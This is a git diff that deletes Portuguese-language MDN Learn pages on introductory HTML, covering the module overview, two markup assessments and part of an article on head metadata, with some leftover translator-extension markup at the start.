value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result"> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/learn/html/introduction_to_html/index.html b/files/pt-pt/learn/html/introduction_to_html/index.html
deleted file mode 100644
index c8a8ecce80..0000000000
--- a/files/pt-pt/learn/html/introduction_to_html/index.html
+++ /dev/null
@@ -1,65 +0,0 @@
----
-title: Introdução ao HTML
-slug: Learn/HTML/Introduction_to_HTML
-tags:
- - CodingScripting
- - Estrutura
- - HTML
- - Hiperligações
- - Introdução ao HTML
- - Texto
- - head
- - semántica
-translation_of: Learn/HTML/Introduction_to_HTML
-original_slug: Learn/HTML/Introducao_ao_HTML
----
-<div>{{LearnSidebar}}</div>
-
-<p class="summary">Na sua essência, {{glossary("HTML")}} é uma linguagem bastante simples, composta por elementos que podem ser aplicados em partes de texto para lhes dar um significado diferente num documento (É um parágrafo? Uma lista com marcas? É parte de uma tabela?), estruturar um documento em secções lógicas (Tem um cabeçalho? Três colunas de conteúdo? Um menu de navegação?) e incorporar conteúdo como imagens e vídeos numa página. Este módulo irá apresentar as duas primeiras aplicações e introduzir os conceitos e a sintaxe fundamentais que você precisa de saber para compreender HTML.</p>
-
-<h2 id="Pré-requisitos">Pré-requisitos</h2>
-
-<p>Antes de começar este módulo, não precisa de ter qualquer conhecimento prévio de  HTML, mas deve pelo menos ter alguma familiaridade com utilização de computadores, e utilização passiva da Web (ou seja, apenas na perspectiva de consumidor e não de criação e publicação de conteúdos). Deverá ter um ambiente de trabalho básico configurado de acordo com as indicações que pode encontrar em <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Installing_basic_software">Instalar software básico</a>, e compreender como se criam e gerem ficheiros, como indicado na secção <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Lidar_com_ficheiros">Lidar com ficheiros</a> — estas duas secções fazem ambas parte do nosso módulo completo de iniciação em <a href="/pt-PT/docs/Learn/Comecar_com_a_Web">Primeiros passos na web</a>.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: Se está a trabalhar num computador, tablet ou outro dispositivo em que não tem possibilidade de criar ficheiros, pode testar a maioria dos exemplos de código num programa de edição de código online como o <a href="http://jsbin.com/">JSBin</a> ou o <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
-</div>
-
-<h2 id="Guias">Guias</h2>
-
-<p>Este módulo contém os seguintes artigos, os quais vão guiá-lo ao longo da teoria básica de HTML, e dar-lhe amplas oportunidades para experimentar o que aprendeu.</p>
-
-<dl>
- <dt><a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Iniciacao_HTML">Começar com HTML</a></dt>
- <dd>Para começar, cobrimos as bases absolutas do HTML — definir elementos, atributos e todos os termos importantes de que já ouviu falar, e como se encaixam na linguagem. Também mostramos a estrutura de um elemento HTML, a estrutura de uma página HTML típica e explicamos outras funcionalidades básicas mas importantes da linguagem. Ao longo do caminho, vamos brincar com algum HTML, para lhe despertar o interesse!</dd>
- <dt><a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Os_metadados_de_head_em_HTML">O que lhe vai no cabeçalho? Metadadados em HTML</a></dt>
- <dd>O cabeçalho de um documento HTML é parte que <strong>não é</strong> mostrada no navegador quando a página é carregada. Contém informação como o título da página ({{htmlelement("title")}}), ligações para {{glossary("CSS")}} (se quiser estilizar o conteúdo HTML com CSS), ligações a ícones personalizados, e metadados (dados sobre HTML, por exemplo, quem o escreveu e palavras-chave importantes que descrevem o documento).</dd>
- <dt><a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/fundamentos_texto_HTML">Fundamentos do texto HTML</a></dt>
- <dd>Uma das principais funções do HTML é atribuir significado (<strong>semântica</strong>) ao texto, para que o navegador o apresente corretamente. Este artigo explora como utilizar HTML para repartir o bloco de texto em títulos e parágrafos, dar ênfase/importância a palavras, criar listas e mais.</dd>
- <dt><a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Criar_hiperligacoes">Criar hiperligações</a></dt>
- <dd>Hiperligações são muito importantes — são o que torna a internet na internet. Este artigo mostra a sintaxe necessária para criar uma ligação (um <em>link</em>), e discute boas práticas a ter quando se criam hiperligações.</dd>
- <dt><a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Formatacao_avancada_texto">Formatação avançada de texto</a></dt>
- <dd>Há muitos outros elementos em HTML para formatar texto, que não vimos em <a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/fundamentos_texto_HTML">Fundamentos do texto HTML</a>. Estes elementos são menos conhecidos, mas é útil conhecê-los. Neste artigo aprenderá a demarcar citações, listas de descrições, código de computador e outro texto relacionado, texto sobre e por baixo da linha, informação de contactos e mais.</dd>
- <dt><a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Estrutura_documento_website">Estrutura do documento e do website</a></dt>
- <dd>Além de definir partes individuais da página (como parágrafos e imagens), HTML também define secções do site (como cabeçalho, menu de navegação, coluna principal de conteúdo). Este artigo aborda como planear a estrutura básica de um site e como escrever HTML que represente essa estrutura.</dd>
- <dt><a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Depurar_HTML">Depurar HTML</a></dt>
- <dd>É ótimo escrever HTML, mas como proceder se alguma coisa correr mal e não conseguir descobrir em que parte do código está o erro? Este artigo introduz algumas ferramentas que pode utilizar.</dd>
-</dl>
-
-<h2 id="Avaliações">Avaliações</h2>
-
-<p>Estas avaliações testam o seu conhecimento das bases de HTML abrangidas nos guias suprarreferidos.</p>
-
-<dl>
- <dt><a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/demarcar_uma_carta">Demarcar uma carta</a></dt>
- <dd>Todos aprendemos a escrever uma carta mais cedo ou mais tarde; e é um exemplo útil para testar as nossas capacidades de formatação de texto! Nesta avaliação, damos-lhe uma carta para demarcar.</dd>
- <dt><a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Estruturar_pagina_de_conteudo">Estruturar uma página de conteúdo</a></dt>
- <dd>Esta avaliação testa a sua capacidade de recorrer a HTML para estruturar uma página de conteúdo simples, que contém cabeçalho, rodapé, menu de navegação, conteúdo principal e barra lateral.</dd>
-</dl>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<dl>
- <dt><a href="https://teach.mozilla.org/activities/web-lit-basics/">Básicos de literacia da Web 1 (inglês)</a></dt>
- <dd>Um curso excelente da fundação Mozilla que explora e testa muitas das habilidades faladas no módulo de <em>Introdução ao HTML</em>. Os principiantes familiarizam-se com a leitura, escrita e participação na Web neste módulo de seis partes. Descubra as fundações da Web através da produção e colaboração.</dd>
-</dl>
diff --git a/files/pt-pt/learn/html/introduction_to_html/marking_up_a_letter/index.html b/files/pt-pt/learn/html/introduction_to_html/marking_up_a_letter/index.html
deleted file mode 100644
index e2e987b803..0000000000
--- a/files/pt-pt/learn/html/introduction_to_html/marking_up_a_letter/index.html
+++ /dev/null
@@ -1,105 +0,0 @@
----
-title: Demarcar uma carta
-slug: Learn/HTML/Introduction_to_HTML/Marking_up_a_letter
-tags:
- - Avaliação
- - HTML
- - Ligações
- - Principiante
- - Texto
-translation_of: Learn/HTML/Introduction_to_HTML/Marking_up_a_letter
-original_slug: Learn/HTML/Introducao_ao_HTML/demarcar_uma_carta
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Learn/HTML/Introduction_to_HTML")}}</div>
-
-<p class="summary">We all learn to write a letter sooner or later; it is also a useful example to test out our text formatting skills! In this assessment you'll be given a letter to mark up to test basic and advanced HTML text formatting skills, including hyperlinks, plus we'll test your familiarity with some HTML <code>&lt;head&gt;</code> contents.</p>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Prerequisites:</th>
- <td>Before attempting this assessment you should have already worked through <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a>, <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What's in the head? Metadata in HTML</a>, <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a>, <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a>, and <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a>.</td>
- </tr>
- <tr>
- <th scope="row">Objective:</th>
- <td>To test basic and advanced HTML text formatting and hyperlink skills, and knowledge of what goes in the HTML &lt;head&gt;.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Starting_point">Starting point</h2>
-
-<p>To get this assessment started, you should go and grab the <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/marking-up-a-letter-start/letter-text.txt">raw text you need to mark up</a>, and the <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/marking-up-a-letter-start/css.txt">CSS you need to include</a> in your HTML. Create a new <code>.html</code> file using your text editor to do your work in (or alternatively use a site like <a class="external external-icon" href="http://jsbin.com/">JSBin</a> or <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> to do your assessment.)</p>
-
-<h2 id="Project_brief">Project brief</h2>
-
-<p>For this project, your task is to mark up a letter that needs to be hosted on a university intranet. The letter is a response from a research fellow to a prospective PhD student concerning their application to the university.</p>
-
-<p>Block/structural semantics:</p>
-
-<ul>
- <li>You should structure the overall document with an appropriate structure including doctype, and {{htmlelement("html")}}, {{htmlelement("head")}} and {{htmlelement("body")}} elements.</li>
- <li>The letter in general should be marked up with a structure of paragraphs and headings, with the exception of the below points. There is one top level heading (the "Re:" line) and three second level headings.</li>
- <li>The semester start dates, study subjects and exotic dances should be marked up using an appropriate list type.</li>
- <li>The two addresses can just be put inside paragraphs. The {{htmlelement("address")}} element is not appropriate for them — think about why. In addition, each line of the addresses should sit on a new line, but not be in a new paragraph.</li>
-</ul>
-
-<p>Inline semantics:</p>
-
-<ul>
- <li>The names of the sender and receiver (and "Tel" and "Email") should be marked up with strong importance.</li>
- <li>The four dates in the document should be given appropriate elements containing machine-readable dates.</li>
- <li>The first address and first date in the letter should be given a class attribute value of "sender-column"; the CSS you'll add later will then cause these to be right aligned, as should be the case in a classic letter layout.</li>
- <li>The five acronyms/abbreviations in the main text of the letter should be marked up to provide expansions of each acronym/abbreviation.</li>
- <li>The six sub/superscripts should be marked up appropriately — in the chemical formulae,  and the numbers 103 and 104 (they should be 10 to the power or 3 and 4, respectively).</li>
- <li>Try to mark up at least two appropriate words in the text with strong importance/emphasis.</li>
- <li>There are two places where a hyperlink should be added; add appropriate links with titles. For the location that the links point to, just use http://example.com.</li>
- <li>The university motto quote and citation should be marked up with appropriate elements.</li>
-</ul>
-
-<p>The head of the document:</p>
-
-<ul>
- <li>The character set of the document should be specified as utf-8 using an appropriate meta tag.</li>
- <li>The author of the letter should be specified in an appropriate meta tag.</li>
- <li>The provided CSS should be included inside an appropriate tag.</li>
-</ul>
-
-<h2 id="Hints_and_tips">Hints and tips</h2>
-
-<ul>
- <li>Use the <a href="https://validator.w3.org/">W3C HTML validator</a> to validate your HTML; you'll get bonus points if it validates.</li>
- <li>You don't need to know any CSS to do this assessment; you just need to put the provided CSS inside an HTML element.</li>
-</ul>
-
-<h2 id="Example">Example</h2>
-
-<p>The following screenshot shows an example of what the letter might look like after being marked up.</p>
-
-<p><img alt="Example" src="https://mdn.mozillademos.org/files/15811/Letter%20screengrab%202.png" style="border: 1px solid black; display: block; height: 1858px; margin: 0px auto; width: 931px;"></p>
-
-<h2 id="Assessment">Assessment</h2>
-
-<p>If you are following this assessment as part of an organized course, you should be able to give your work to your teacher/mentor for marking. If you are self-learning, then you can get the marking guide fairly easily by asking on the <a href="https://discourse.mozilla.org/t/marking-up-a-letter-assignment/24676">discussion thread about this exercise</a>, or in the <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC channel on <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Try the exercise first — there is nothing to be gained by cheating!</p>
-
-<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Learn/HTML/Introduction_to_HTML")}}</p>
-
-<p> </p>
-
-<h2 id="In_this_module">In this module</h2>
-
-<ul>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li>
-</ul>
-
-<p> </p>
diff --git a/files/pt-pt/learn/html/introduction_to_html/structuring_a_page_of_content/index.html b/files/pt-pt/learn/html/introduction_to_html/structuring_a_page_of_content/index.html
deleted file mode 100644
index 7efe74d7fd..0000000000
--- a/files/pt-pt/learn/html/introduction_to_html/structuring_a_page_of_content/index.html
+++ /dev/null
@@ -1,108 +0,0 @@
----
-title: Estruturar uma página de conteúdo
-slug: Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content
-tags:
- - Avaliação
- - Estrutura
- - HTML
- - Principiante
- - semántica
-translation_of: Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content
-original_slug: Learn/HTML/Introducao_ao_HTML/Estruturar_pagina_de_conteudo
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenu("Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</div>
-
-<p class="summary">Structuring a page of content ready for laying it out using CSS is a very important skill to master, so in this assessment you'll be tested on your ability to think about how a page might end up looking, and choose appropriate structural semantics to build a layout on top of.</p>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Prerequisites:</th>
- <td>Before attempting this assessment you should have already worked through the rest of the course, with a particular emphasis on <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a>.</td>
- </tr>
- <tr>
- <th scope="row">Objective:</th>
- <td>To test knowledge of web page structures, and how to represent a prospective layout design in markup.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Starting_point">Starting point</h2>
-
-<p>To get this assessment started, you should go and grab the <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/structuring-a-page-of-content-start/assets.zip?raw=true">zip file containing all the starting assets</a>. The zip file contains:</p>
-
-<ul>
- <li>The HTML you need to add structural markup to.</li>
- <li>CSS to style your markup.</li>
- <li>Images that are used on the page.</li>
-</ul>
-
-<p>Create the example on your local computer, or alternatively use a site like <a class="external external-icon" href="http://jsbin.com/">JSBin</a> or <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> to do your assessment.</p>
-
-<h2 id="Project_brief">Project brief</h2>
-
-<p>For this project, your task is to take the content for the homepage of a bird watching website and add structural elements to it so it can have a page layout applied to it. It needs to have:</p>
-
-<ul>
- <li>A header spanning the full width of the site containing the main title for the page, the site logo, and the navigation menu. The title and logo appear side by side once styling is applied, and the navigation appears below those two items.</li>
- <li>A main content area containing two columns — a main block to contain the welcome text, and a sidebar to contain image thumbnails.</li>
- <li>A footer containing copyright information and credits.</li>
-</ul>
-
-<p>You need to add a suitable wrapper for:</p>
-
-<ul>
- <li>The header</li>
- <li>The navigation menu</li>
- <li>The main content</li>
- <li>The welcome text</li>
- <li>The image sidebar</li>
- <li>The footer</li>
-</ul>
-
-<p>You should also:</p>
-
-<ul>
- <li>Apply the provided CSS to the page by adding another {{htmlelement("link")}} element just below the existing one provided at the start.</li>
-</ul>
-
-<h2 id="Hints_and_tips">Hints and tips</h2>
-
-<ul>
- <li>Use the <a href="https://validator.w3.org/nu/">W3C Nu HTML Checker</a> to catch unintended mistakes in your HTML, CSS, and SVG — mistakes you might have otherwise missed — so that you can fix them.</li>
- <li>You don't need to know any CSS to do this assessment; you just need to put the provided CSS inside an HTML element.</li>
- <li>The provided CSS is designed so that when the correct structural elements are added to the markup, they will appear green in the rendered page.</li>
- <li>If you are getting stuck and can't envisage what elements to put where, it often helps to draw out a simple block diagram of the page layout, and write on the elements you think should wrap each block.</li>
-</ul>
-
-<h2 id="Example">Example</h2>
-
-<p>The following screenshot shows an example of what the homepage might look like after being marked up.</p>
-
-<p><img alt='The finished example for the assessment; a simple webpage about birdwatching, including a heading of "Birdwatching", bird photos, and a welcome message' src="https://mdn.mozillademos.org/files/12449/example-page.png" style="display: block; margin: 0 auto;"></p>
-
-<h2 id="Assessment">Assessment</h2>
-
-<p>If you are following this assessment as part of an organized course, you should be able to give your work to your teacher/mentor for marking. If you are self-learning, then you can get the marking guide fairly easily by asking on the <a href="https://discourse.mozilla.org/t/structuring-a-page-of-content-assignment/24678">discussion thread about this exercise</a>, or in the <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC channel on <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Try the exercise first — there is nothing to be gained by cheating!</p>
-
-<p>{{PreviousMenu("Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</p>
-
-<p> </p>
-
-<h2 id="In_this_module">In this module</h2>
-
-<ul>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li>
-</ul>
-
-<p> </p>
diff --git a/files/pt-pt/learn/html/introduction_to_html/the_head_metadata_in_html/index.html b/files/pt-pt/learn/html/introduction_to_html/the_head_metadata_in_html/index.html
deleted file mode 100644
index 88ec4b49ea..0000000000
--- a/files/pt-pt/learn/html/introduction_to_html/the_head_metadata_in_html/index.html
+++ /dev/null
@@ -1,347 +0,0 @@
----
-title: O que está em "head"? Metadados em HTML
-slug: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML
-tags:
- - Guía
- - HTML
- - Idioma
- - Meta
- - Principiante
- - head
- - metadados
-translation_of: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML
-original_slug: Learn/HTML/Introducao_ao_HTML/Os_metadados_de_head_em_HTML
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introducao_ao_HTML")}}</div>
-
-<p class="summary">{{glossary("Head", "Head")}} de um documento HTML é a parte que não é exibida no navegador da <em>Web </em>quando a página é carregada. Este contém a informação, tais como o {{htmlelement("title", "título")}} da página, hiperligações para {{glossary("CSS")}} (se pretender estilizar o seu conteúdo HTML com CSS), hiperligações para <em>favicons</em> personalizados, e outros metadados (dados sobre o HTML, tais como quem o escreveu, e palavras-chave importantes que descrevem o documento.) Neste artigo nós iremos abranger todas as coisas acima e muito mais, para lhe dar bons conceitos básicos para lidar com a marcação e outro código que deverá estar no seu <em>head</em>.</p>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Pré-requisitos:</th>
- <td>Basic HTML familiarity, as covered in <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a>.</td>
- </tr>
- <tr>
- <th scope="row">Objetivo:</th>
- <td>To learn about the HTML head, what its purpose is, the most important items it can contain, and what effect it can have on the HTML document.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="O_que_é_head_no_HTML">O que é <em> head </em>no HTML?</h2>
-
-<p>Let's revisit the simple <a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Anatomy_of_an_HTML_document">HTML document we covered in the previous article</a>:</p>
-
-<pre class="brush: html">&lt;!DOCTYPE html&gt;
-&lt;html&gt;
- &lt;head&gt;
- &lt;meta charset="utf-8"&gt;
- &lt;title&gt;My test page&lt;/title&gt;
- &lt;/head&gt;
- &lt;body&gt;
- &lt;p&gt;This is my page&lt;/p&gt;
- &lt;/body&gt;
-&lt;/html&gt;</pre>
-
-<p>The HTML head is the contents of the {{htmlelement("head")}} element — unlike the contents of the {{htmlelement("body")}} element (which are displayed on the page when loaded in a browser), the head's content is not displayed on the page. Instead, the head's job is to contain {{glossary("Metadata", "metadata")}} about the document. In the above example, the head is quite small:</p>
-
-<pre class="brush: html">&lt;head&gt;
- &lt;meta charset="utf-8"&gt;
- &lt;title&gt;My test page&lt;/title&gt;
-&lt;/head&gt;</pre>
-
-<p>In larger pages however, the head can get quite full of items — try going to some of your favorite websites and using the <a href="/en-US/docs/Learn/Discover_browser_developer_tools">developer tools</a> to check out their head contents. Our aim here is not to show you how to use everything that can possibly be put in the head, but rather to teach you how to use the most obvious things you'll want to include in the head, and give you some familiarity. Let's get started.</p>
-
-<h2 id="Adding_a_title">Adding a title</h2>
-
-<p>We've already seen the {{htmlelement("title")}} element in action — this can be used to add a title to the document. This however can get confused with the {{htmlelement("h1")}} element, which is used to add a top level heading to your body content — this is also sometimes referred to as the page title. But they are different things!</p>
-
-<ul>
- <li>The {{htmlelement("h1")}} element appears on the page when loaded in the browser — generally this should be used once per page, to mark up the title of your page content (the story title, or news headline, or whatever is appropriate to your usage.)</li>
- <li>The {{htmlelement("title")}} element is metadata that represents the title of the overall HTML document (not the document's content.)</li>
-</ul>
-
-<h3 id="Active_learning_Inspecting_a_simple_example">Active learning: Inspecting a simple example</h3>
-
-<ol>
- <li>To start off this active learning, we'd like you to go to our GitHub repo and download a copy of our <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/title-example.html">title-example.html page</a>. To do this, either
-
- <ol>
- <li>Copy and paste the code out of the page and into a new text file in your code editor, then save it in a sensible place.</li>
- <li>Press the "Raw" button on the page, which causes the raw code to appear in a new browser tab. Next, from your browser's menu choose <em>File &gt; Save Page As...</em> in your browser's menu then choose a place to save the file.</li>
- </ol>
- </li>
- <li>Now open the file in your browser. You should see something like this:
- <p><img alt="A simple web page with the title set to &lt;title> element, and the &lt;h1> set to &lt;h1> element." src="https://mdn.mozillademos.org/files/12323/title-example.png" style="display: block; margin: 0 auto;">It should now be completely obvious where the <code>&lt;h1&gt;</code> content appears, and where the <code>&lt;title&gt;</code> content appears!</p>
- </li>
- <li>You should also try opening the code up in your code editor, editing the contents of these elements, then refreshing the page in your browser. Have some fun with it.</li>
-</ol>
